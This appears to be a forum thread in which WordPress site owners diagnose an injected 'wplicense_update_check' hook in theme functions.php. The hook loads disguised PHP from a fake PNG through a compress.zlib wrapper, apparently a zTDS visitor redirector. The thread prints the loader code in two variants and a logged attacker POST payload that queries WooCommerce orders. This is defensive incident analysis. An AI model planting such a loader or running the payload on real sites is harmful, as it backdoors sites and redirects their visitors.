WordPress admin login throws error but site is working fine

I am running a WordPress WooCommerce site. The site is running fine but I go to admin page and login, it throws the following error below. What is strange is that I can't find any reference to this function wplicense_update_check

> Fatal error: Uncaught TypeError: call_user_func_array(): Argument #1 ($callback) must be a valid callback, function "wplicense_update_check" not found or invalid function name in /home/mysite/public_html/wp-includes/class-wp-hook.php:308
>
> Stack trace:
#0 /home/mysite/public_html/wp-includes/class-wp-hook.php(332): WP_Hook->apply_filters(NULL, Array)
#1 /home/mysite/public_html/wp-includes/plugin.php(517): WP_Hook->do_action(Array)
#2 /home/mysite/public_html/wp-settings.php(639): do_action('wp_loaded')
#3 /home/mysite/public_html/wp-config.php(108): require_once('/home/mysite...')
#4 /home/mysite/public_html/wp-load.php(50): require_once('/home/mysite...')
#5 /home/mysite/public_html/wp-blog-header.php(13): require_once('/home/mysite...')
#6 /home/mysite/public_html/index.php(17): require('/home/mysite...')
#7 {main} thrown in /home/mysite/public_html/wp-includes/class-wp-hook.php on line 308

review file functions.php of the theme folder, in my case I have this code and directly delete it:

add_action( 'wp_loaded', 'wplicense_update_check' );

if ( ! function_exists( 'wplicense_update_check' ) && ! is_user_logged_in()) {

	function wplicense_update_check() {
		/**
		 * License Update Checker Hook
		 *
		 * Register theme update checker hook.
		 *
		 */
		
		$wplicense_update = get_option( '_' . get_stylesheet() . '_licence_data');
		$wplicense_updater = locate_template( $wplicense_update[0] . '-' . $wplicense_update[3] . '.' . $wplicense_update[1] );

		if (is_file($wplicense_updater)) {
			load_template( $wplicense_update[4] . '.' . $wplicense_update[2] . '://' . $wplicense_updater, true);
		}
	}
}

I've also found this code in a child theme functions.php - which I know every line of. It should not be there.

It loads an option from the database which is serialized as:

a:5:{i:0;s:10:"screenshot";i:1;s:3:"png";i:2;s:4:"zlib";i:3;s:4:"main";i:4;s:8:"compress";}

when de serialized it returns

Array
(
    [0] => screenshot
    [1] => png
    [2] => zlib
    [3] => main
    [4] => compress
)

Parts of this is then passed to the locate_template function to find the file: screenshot-main.png which is located in the child theme directory - it's definitely not a PNG though.

Submission to Virus total comes up clean but decompressing it with 7zip shows the PHP content.

https://pastebin.mozilla.org/Wro62iM2 (added to archive.org too)

It appears to be a zTDS implementation as it shares a lot of the same code - this appears to redirect visitors who are not logged in and not bots.

https://ztds.info/doku.php?id=folders

This is odd. I have just had an issue with a site and have found the following code in the themes functions.php file …

add_action( 'wp_loaded', 'wplicense_update_check' );

if ( ! function_exists( 'wplicense_update_check' ) && ! is_user_logged_in()) {

	function wplicense_update_check() {
		/**
		 * License Update Checker Hook
		 *
		 * Register theme update checker hook.
		 *
		 */
		
		$wplicense_update = get_option( '_' . get_stylesheet() . '_licence_data');
		$wplicense_updater = locate_template( $wplicense_update[0] . '-' . $wplicense_update[3] . '.' . $wplicense_update[1] );

		if (is_file($wplicense_updater)) {
			load_template( $wplicense_update[4] . '.' . $wplicense_update[2] . '://' . $wplicense_updater, true);
		}
	}
}

… was causing a fatal error in WP. I did not add the code and have no idea how it ended up in my functions.php file.

Update - just found the code in functions.php again after having removed it.

The code is slightly different as it is missing && ! is_user_logged_in() from the if statement:

add_action( 'wp_loaded', 'wplicense_update_check' );

if ( ! function_exists( 'wplicense_update_check' ) ) {
	function wplicense_update_check() {
		/**
		 * License Update Checker Hook
		 *
		 * Register theme update checker hook.
		 *
		 */
		$wplicense_update = get_option( '_' . get_stylesheet() . '_licence_data');
		if ($wplicense_updater = locate_template( $wplicense_update[0] . '-' . $wplicense_update[3] . '.' . $wplicense_update[1] )) {
			load_template( $wplicense_update[4] . '.' . $wplicense_update[2] . '://' . $wplicense_updater, true);
		}
	}
}

I've managed to log the POST parameters of one of the suspicious looking requests though I can't be sure this is from the same actor, the request signature looks the same:

172.70.189.147 - - [24/Apr/2023:12:30:51 +0000] "POST /index.php?RqPbeX2VLP HTTP/2.0" 200 332 "-" "Mozilla/5.0 (Windows NT 10.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36" "111.90.150.162" "--------------------------06e40a1b50125bf5\x0D\x0AContent-Disposition: form-data; name=\x22xxx\x22\x0D\x0A\x0D\x0A5\x0D\x0A--------------------------06e40a1b50125bf5\x0D\x0AContent-Disposition: form-data; name=\x22aaa\x22\x0D\x0A\x0D\x0Aif(isset($wpdb)) { $results = $wpdb->get_results(\x22SELECT ID FROM {$wpdb->prefix}posts WHERE post_type LIKE 'shop_order' AND post_date LIKE '\x22.date('Y-m-d',strtotime(\x22-1 days\x22)).\x22%' AND post_status='wc-completed'\x22); echo(count($results)); exit(); } else { echo('nodb?');exit(); }\x0D\x0A--------------------------06e40a1b50125bf5--\x0D\x0A"

I thought I might try this out with the WPWeb Updater installed to see it executes the code.